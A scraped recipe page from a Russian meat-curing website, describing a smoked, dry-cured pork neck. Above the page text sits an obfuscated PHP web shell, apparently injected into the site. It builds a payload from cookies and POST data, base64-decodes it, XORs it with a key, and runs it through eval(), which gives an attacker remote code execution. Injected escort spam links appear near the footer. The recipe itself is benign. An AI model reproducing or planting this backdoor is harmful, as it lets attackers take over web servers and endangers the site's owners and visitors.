$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Копченая сыровяленая свиная шея • Meat Review

Копченая сыровяленая свиная шея

Перейти в режим чтения
Распечатать
0 0
Копченая сыровяленая свиная шея

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:
  • 7 months
  • Средне

Инструкция

Поделиться

Была использована простая посолочная смесь: соль – 3%, нитрит.нитрат #2. Шея от гибридной свинки (Berkshire/Chester white) была обработана посолочной смесью, вакуумирована и помещена на три недели в холодильник. После просолки мясо было помыто белым вином (домашним), натёрто смесью сицилианской душицы и  калабрийских перцев (молотыми сладким, острым и кусочками острого) и помещено в говяжью кишку. По прошествию месяца при 13-14 С и 72% относительной влажности продукт был копчён холодном образом над яблоневыми  стружками.

Процедура копчения была повторена через месяц. Здесь надо оговориться, что правильно было бы коптить первый раз сразу после помещения мяса в кишку. В этом случаи запах абсорбируется много лучше. После ещё одного месяца созревания потеря веса составила 34%. Шея была помещена опять в вакуумный пакет и подвергнута процессу эквилибрации в холодильнике (три месяца).

Ожидание и труды того стоили: продукт обладал лёгким копчёным ароматом и характерным маслянистым вкусом с тёплыми перечными ноткам в послевкусье.

(Visited 9 600 times, 1 visits today)

Boris Pekelis

обратно
Брезаола из Говяжей Корейки
далее
Сабадиего. Вяленая кровяная колбаса
обратно
Брезаола из Говяжей Корейки
далее
Сабадиего. Вяленая кровяная колбаса

Похожие рецепты

There are no comments yet

× You need to log in to enter the discussion

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close